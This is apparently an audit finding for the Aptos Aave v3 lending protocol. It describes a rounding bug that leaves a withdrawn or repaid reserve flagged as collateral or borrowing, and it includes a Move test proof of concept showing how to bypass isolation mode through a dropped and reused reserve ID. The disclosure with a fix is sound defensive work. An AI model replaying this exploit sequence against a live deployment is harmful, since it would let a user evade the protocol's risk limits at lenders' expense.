## Finding Description It is currently assumed that if all aTokens are burned, the user has withdrawn all of his collateral. However, this assumption is incorrect. For example, due to rounding errors that can occur when withdrawing from the reserve. Here is an example with code: A user wants to withdraw from a reserve, and the `user_balance` is calculated as follows: https://github.com/aave/aptos-aave-v3/blob/1a1913d9913b1fd41e661d7bc39c999784b1708f/aave-core/sources/aave-logic/supply_logic.move#L200-L204 This user balance is later used to check whether the user withdraws the entire amount from this reserve in order to deactivate it as collateral: https://github.com/aave/aptos-aave-v3/blob/1a1913d9913b1fd41e661d7bc39c999784b1708f/aave-core/sources/aave-logic/supply_logic.move#L233-L238 However, it could happen that the user withdraws a slightly different amount than `user_balance`, for example, `user_balance - 1`, which would later, during the burn process, result in the same amount of tokens being burned as if the full `user_balance` had been withdrawn, due to the division by the liquidity index: https://github.com/aave/aptos-aave-v3/blob/1a1913d9913b1fd41e661d7bc39c999784b1708f/aave-core/sources/aave-tokens/token_base.move#L403 This means all of a user's aTokens would be burned, but the reserve would still be set as collateral. This bug also affects the repay function, as nearly the entire user balance could be repaid though not completely leading to the same rounding error during the burn. As a result, the user would no longer be borrowing from the reserve, but the system would still consider them as having an active borrow: https://github.com/aave/aptos-aave-v3/blob/1a1913d9913b1fd41e661d7bc39c999784b1708f/aave-core/sources/aave-tokens/token_base.move#L403 ## Impact There are several impacts of the bug. On the collateral side, it could allow bypassing isolation mode in the following way: When all A tokens are removed from the reserve, the reserve is dropped, leaving a vacant ID. After this, a new reserve is added in isolation mode and takes the vacant ID. The user has now set the new reserve as collateral in isolation mode, even though they might not actually be in isolation mode, as other collaterals could also be activated. This way, the user can supply the isolated asset as regular collateral, bypassing isolation mode (How this exactly works is shown in the POC). For the borrowing state, this could prevent users from switching to specific eMode categories or borrowing from siloed reserves, as the active borrowing reserve restricts it. ## Proof of Concept The following POC can be inserted into the file `aave-core/tests/aave-pool/pool_tests.move`: ```move use aave_pool::pool; use aave_pool::default_reserve_interest_rate_strategy; use aave_pool::pool_token_logic; use std::debug; #[ test( aave_pool = @aave_pool, aave_role_super_admin = @aave_acl, aave_std = @std, aave_oracle = @aave_oracle, data_feeds = @data_feeds, platform = @platform, underlying_tokens_admin = @aave_mock_underlyings, user1 = @0x111, user2 = @0x222, user3 = @0x333 ) ] fun test_poc( aave_pool: &signer, aave_role_super_admin: &signer, aave_std: &signer, aave_oracle: &signer, data_feeds: &signer, platform: &signer, underlying_tokens_admin: &signer, user1: &signer, user2: &signer, user3: &signer ) { // ======== Test setup start ======== let user1_addr = signer::address_of(user1); let user2_addr = signer::address_of(user2); let aave_pool_address = signer::address_of(aave_pool); let decimals = 1000000000000000000; timestamp::set_time_has_started_for_testing(aave_std); token_helper::init_reserves_with_oracle( aave_pool, aave_role_super_admin, aave_std, aave_oracle, data_feeds, platform, underlying_tokens_admin, aave_pool ); acl_manage::add_funds_admin(aave_role_super_admin, aave_pool_address); let underlying_u0_token_address = mock_underlying_token_factory::token_address(utf8(b"U_0")); let underlying_u1_token_address = mock_underlying_token_factory::token_address(utf8(b"U_1")); oracle::set_asset_custom_price(aave_pool, underlying_u0_token_address, 100 * decimals); oracle::set_asset_custom_price(aave_pool, underlying_u1_token_address, 50 * decimals); timestamp::update_global_time_for_test_secs(1000); mock_underlying_token_factory::mint( underlying_tokens_admin, user1_addr, ( token_helper::convert_to_currency_decimals( underlying_u0_token_address, 100 ) as u64 ), underlying_u0_token_address ); mock_underlying_token_factory::mint( underlying_tokens_admin, user1_addr, ( token_helper::convert_to_currency_decimals( underlying_u1_token_address, 10000 ) as u64 ), underlying_u1_token_address ); mock_underlying_token_factory::mint( underlying_tokens_admin, user2_addr, ( token_helper::convert_to_currency_decimals( underlying_u1_token_address, 10000 ) as u64 ), underlying_u1_token_address ); mock_underlying_token_factory::mint( underlying_tokens_admin, user2_addr, ( token_helper::convert_to_currency_decimals( underlying_u0_token_address, 200 ) as u64 ), underlying_u0_token_address ); // ======== Test setup end ======== supply_logic::supply( //user1 supplies 100 u0-tokens and u0 is activated as collateral user1, underlying_u0_token_address, 100_00000000, user1_addr, 0 ); supply_logic::supply( //user1 supplies 1000 u1-tokens and u1 is activated as collateral user1, underlying_u1_token_address, 1000_00000000, user1_addr, 0 ); supply_logic::supply( //user2 supplies 1000 u1-tokens user2, underlying_u1_token_address, 1000_00000000, user2_addr, 0 ); borrow_logic::borrow( //user2 borrows some u0 to have a accrue some interest user2, underlying_u0_token_address, 100_00000000, 2, 0, user2_addr ); timestamp::update_global_time_for_test_secs(86400*5000); //5000 days pass that there is a high liquidity index that causes rounding issues borrow_logic::repay( //user2 repays the borrowed tokens + the interest accrued user2, underlying_u0_token_address, 225_22290839, 2, user2_addr ); supply_logic::withdraw( //user1 could withdraw 173_97243151 but only withdraws 173_97243150 which leaves this reserve as collateral user1, underlying_u0_token_address, 173_97243150, user1_addr ); let user_config_map = get_user_configuration(user1_addr); let uses_as_collateral = user_config::is_using_as_collateral_or_borrowing(&user_config_map, 0); debug::print(&uses_as_collateral); pool_token_logic::mint_to_treasury( //treasury must be empty before reserve can be dropped vector[underlying_u0_token_address] ); let a0_address = a_token_factory::token_address(utf8(b"A_0")); collector::withdraw( //withdraws the rewards for the treasury to user2 aave_pool, a0_address, user2_addr, 1252229084 ); supply_logic::withdraw( //user2 withdraws the rewards from the treasury so there are 0 aTokens left user2, underlying_u0_token_address, 1252229084, user2_addr ); pool_configurator::drop_reserve( //the reserve is dropped aave_pool, underlying_u0_token_address ); // ======= start creation of new reserve ======= let underlying_assets: vector

= vector[]; let treasuries: vector

= vector[]; let atokens_names: vector = vector[]; let atokens_symbols: vector = vector[]; let var_tokens_names: vector = vector[]; let var_tokens_symbols: vector = vector[]; let incentives_controllers: vector> = vector[]; let optimal_usage_ratios: vector = vector[]; let base_variable_borrow_rates: vector = vector[]; let variable_rate_slope1s: vector = vector[]; let variable_rate_slope2s: vector = vector[]; { let i = 1337; let name = string_utils::format1(&b"APTOS_UNDERLYING_{}", i); let symbol = string_utils::format1(&b"U_{}", i); let decimals = 8; let max_supply = 100000000000000000000000; mock_underlying_token_factory::create_token( underlying_tokens_admin, max_supply, name, symbol, decimals, utf8(b""), utf8(b"") ); let underlying_token_address = mock_underlying_token_factory::token_address(symbol); // init the default interest rate strategy for the underlying_token_address let optimal_usage_ratio: u256 = 800; let base_variable_borrow_rate: u256 = 0; let variable_rate_slope1: u256 = 4000; let variable_rate_slope2: u256 = 7500; default_reserve_interest_rate_strategy::set_reserve_interest_rate_strategy_for_testing( underlying_token_address, optimal_usage_ratio, base_variable_borrow_rate, variable_rate_slope1, variable_rate_slope2 ); vector::push_back(&mut underlying_assets, underlying_token_address); vector::push_back(&mut treasuries, collector::collector_address()); vector::push_back( &mut atokens_names, string_utils::format1(&b"APTOS_A_TOKEN_{}", i) ); vector::push_back(&mut atokens_symbols, string_utils::format1(&b"A_{}", i)); vector::push_back( &mut var_tokens_names, string_utils::format1(&b"APTOS_VAR_TOKEN_{}", i) ); vector::push_back( &mut var_tokens_symbols, string_utils::format1(&b"V_{}", i) ); vector::push_back(&mut incentives_controllers, option::none()); vector::push_back(&mut optimal_usage_ratios, 400); vector::push_back(&mut base_variable_borrow_rates, 100); vector::push_back(&mut variable_rate_slope1s, 200); vector::push_back(&mut variable_rate_slope2s, 300); }; pool_configurator::init_reserves( aave_pool, underlying_assets, treasuries, atokens_names, atokens_symbols, var_tokens_names, var_tokens_symbols, incentives_controllers, optimal_usage_ratios, base_variable_borrow_rates, variable_rate_slope1s, variable_rate_slope2s ); let underlying_u1337_token_address = mock_underlying_token_factory::token_address(utf8(b"U_1337")); let underlying_asset = underlying_u1337_token_address; let reserve_config_new = pool::get_reserve_configuration(underlying_asset); reserve_config::set_reserve_factor(&mut reserve_config_new, 1000); reserve_config::set_ltv(&mut reserve_config_new, 8000); reserve_config::set_borrowable_in_isolation(&mut reserve_config_new, false); reserve_config::set_siloed_borrowing(&mut reserve_config_new, false); reserve_config::set_flash_loan_enabled(&mut reserve_config_new, true); reserve_config::set_borrowing_enabled(&mut reserve_config_new, true); reserve_config::set_liquidation_threshold(&mut reserve_config_new, 8500); reserve_config::set_liquidation_bonus(&mut reserve_config_new, 10500); pool::test_set_reserve_configuration(underlying_asset, reserve_config_new); // ======= end creation of new reserve ======= pool_configurator::set_debt_ceiling( //sets debt ceiling for the new reserves. this means the asset is now isolated aave_pool, underlying_u1337_token_address, 10000_00000000 ); mock_underlying_token_factory::mint( underlying_tokens_admin, user1_addr, ( token_helper::convert_to_currency_decimals( underlying_u1337_token_address, 200 ) as u64 ), underlying_u1337_token_address ); supply_logic::supply( //user1 supplies some of the new assets user1, underlying_u1337_token_address, 100_00000000, user1_addr, 0 ); let new_user_config_map = get_user_configuration(user1_addr); let uses_u1337_as_collateral = user_config::is_using_as_collateral_or_borrowing(&new_user_config_map, 0); let uses_u1_as_collateral = user_config::is_using_as_collateral_or_borrowing(&new_user_config_map, 1); debug::print(&uses_u1337_as_collateral); //shows that the isolation asset is activated as collateral debug::print(&uses_u1_as_collateral); //shows that not isolated asset is activated as collateral which means the user is bypassing the isolation mode oracle::set_asset_custom_price(aave_pool, underlying_u1337_token_address, 50 * decimals); borrow_logic::borrow( //user can also successfully borrow every asset user1, underlying_u1_token_address, 100_00000000, 2, 0, user1_addr ); } ``` The POC can be started by adding the following command to the Makefile and then running it: `make test-filter FILTER_TEST="test_poc"` ``` test-filter: cd aave-core && aptos move test \ --ignore-compile-warnings \ --skip-attribute-checks \ --skip-fetch-latest-git-deps \ --language-version "$(MOVE_VERSION)" \ --compiler-version "$(COMPILER_VERSION)" \ --named-addresses "${AAVE_NAMED_ADDRESSES}" \ --coverage \ --filter "$(FILTER_TEST)" ``` ## Recommendation There should be checks to prevent small amounts of dust during withdrawal and repayment, so that rounding issues cannot occur (like the dust checks in the liquidation function).

schnilch

Public reviews